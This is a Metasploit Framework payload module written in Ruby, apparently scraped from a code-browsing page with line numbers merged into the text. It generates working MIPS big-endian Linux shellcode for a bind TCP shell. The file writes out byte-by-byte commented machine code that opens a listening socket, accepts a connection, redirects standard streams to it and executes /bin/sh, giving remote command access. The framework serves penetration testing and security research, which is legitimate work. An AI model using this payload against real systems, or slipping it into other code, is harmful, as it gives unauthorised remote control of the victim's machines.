Path: blob/master/modules/payloads/singles/linux/mipsbe/shell_bind_tcp.rb
19715 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45module MetasploitModule6CachedSize = 23278include Msf::Payload::Single9include Msf::Sessions::CommandShellOptions1011def initialize(info = {})12super(13merge_info(14info,15'Name' => 'Linux Command Shell, Bind TCP Inline',16'Description' => 'Listen for a connection and spawn a command shell',17'Author' => [18'scut', # Original mips-irix-portshell shellcode19'vaicebine', # Original shellcode mod20'Vlatko Kosturjak', # Metasploit module (mipsle)21'juan vazquez' # mipsbe conversion plus small fixes and optimizations22],23'License' => MSF_LICENSE,24'Platform' => 'linux',25'Arch' => ARCH_MIPSBE,26'Handler' => Msf::Handler::BindTcp,27'Session' => Msf::Sessions::CommandShellUnix,28'Payload' => {29'Offsets' => {},30'Payload' => ''31}32)33)34end3536def generate(_opts = {})37if !datastore['LPORT']38return super39end4041port = Integer(datastore['LPORT'])42port = [port].pack('n').unpack('cc')4344shellcode =45# socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 346"\x27\xbd\xff\xe0" + # addiu sp,sp,-3247"\x24\x0e\xff\xfd" + # li t6,-348"\x01\xc0\x20\x27" + # nor a0,t6,zero49"\x01\xc0\x28\x27" + # nor a1,t6,zero50"\x28\x06\xff\xff" + # slti a2,zero,-151"\x24\x02\x10\x57" + # li v0,4183 ( __NR_socket )52"\x01\x01\x01\x0c" + # syscall5354# bind(3, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("0.0.0.0")}, 16) = 055"\x30\x50\xff\xff" + # andi s0,v0,0xffff56"\x24\x0e\xff\xef" + # li t6,-17 ; t6: 0xffffffef57"\x01\xc0\x70\x27" + # nor t6,t6,zero ; t6: 0x10 (16)58"\x24\x0d\xff\xfd" + # li t5,-3 ; t5: -359"\x01\xa0\x68\x27" + # nor t5,t5,zero ; t5: 0x260"\x01\xcd\x68\x04" + # sllv t5,t5,t6 ; t5: 0x0002000061"\x24\x0e" + port.pack('C2') + # li t6,0xFFFF (port) ; t6: 0x115c (4444 (default LPORT))62"\x01\xae\x68\x25" + # or t5,t5,t6 ; t5: 0x0002115c63"\xaf\xad\xff\xe0" + # sw t5,-32(sp)64"\xaf\xa0\xff\xe4" + # sw zero,-28(sp)65"\xaf\xa0\xff\xe8" + # sw zero,-24(sp)66"\xaf\xa0\xff\xec" + # sw zero,-20(sp)67"\x02\x10\x20\x25" + # or a0,s0,s068"\x24\x0e\xff\xef" + # li t6,-1769"\x01\xc0\x30\x27" + # nor a2,t6,zero70"\x23\xa5\xff\xe0" + # addi a1,sp,-3271"\x24\x02\x10\x49" + # li v0,4169 ( __NR_bind )A72"\x01\x01\x01\x0c" + # syscall7374# listen(3, 257) = 075"\x02\x10\x20\x25" + # or a0,s0,s076"\x24\x05\x01\x01" + # li a1,25777"\x24\x02\x10\x4e" + # li v0,4174 ( __NR_listen )78"\x01\x01\x01\x0c" + # syscall7980# accept(3, 0, NULL) = 481"\x02\x10\x20\x25" + # or a0,s0,s082"\x28\x05\xff\xff" + # slti a1,zero,-183"\x28\x06\xff\xff" + # slti a2,zero,-184"\x24\x02\x10\x48" + # li v0,4168 ( __NR_accept )85"\x01\x01\x01\x0c" + # syscall8687# dup2(4, 2) = 288# dup2(4, 1) = 189# dup2(4, 0) = 090"\xaf\xa2\xff\xff" + # sw v0,-1(sp) # socket91"\x24\x11\xff\xfd" + # li s1,-392"\x02\x20\x88\x27" + # nor s1,s1,zero93"\x8f\xa4\xff\xff" + # lw a0,-1(sp)94"\x02\x20\x28\x21" + # move a1,s1 # dup2_loop95"\x24\x02\x0f\xdf" + # li v0,4063 ( __NR_dup2 )96"\x01\x01\x01\x0c" + # syscall 0x4040497"\x24\x10\xff\xff" + # li s0,-198"\x22\x31\xff\xff" + # addi s1,s1,-199"\x16\x30\xff\xfa" + # bne s1,s0 <dup2_loop>100101# execve("//bin/sh", ["//bin/sh"], [/* 0 vars */]) = 0102"\x28\x06\xff\xff" + # slti a2,zero,-1103"\x3c\x0f\x2f\x2f" + # lui t7,0x2f2f "//"104"\x35\xef\x62\x69" + # ori t7,t7,0x6269 "bi"105"\xaf\xaf\xff\xec" + # sw t7,-20(sp)106"\x3c\x0e\x6e\x2f" + # lui t6,0x6e2f "n/"107"\x35\xce\x73\x68" + # ori t6,t6,0x7368 "sh"108"\xaf\xae\xff\xf0" + # sw t6,-16(sp)109"\xaf\xa0\xff\xf4" + # sw zero,-12(sp)110"\x27\xa4\xff\xec" + # addiu a0,sp,-20111"\xaf\xa4\xff\xf8" + # sw a0,-8(sp)112"\xaf\xa0\xff\xfc" + # sw zero,-4(sp)113"\x27\xa5\xff\xf8" + # addiu a1,sp,-8114"\x24\x02\x0f\xab" + # li v0,4011 ( __NR_execve )115"\x01\x01\x01\x0c" # syscall 0x40404116117return super + shellcode118end119end120121122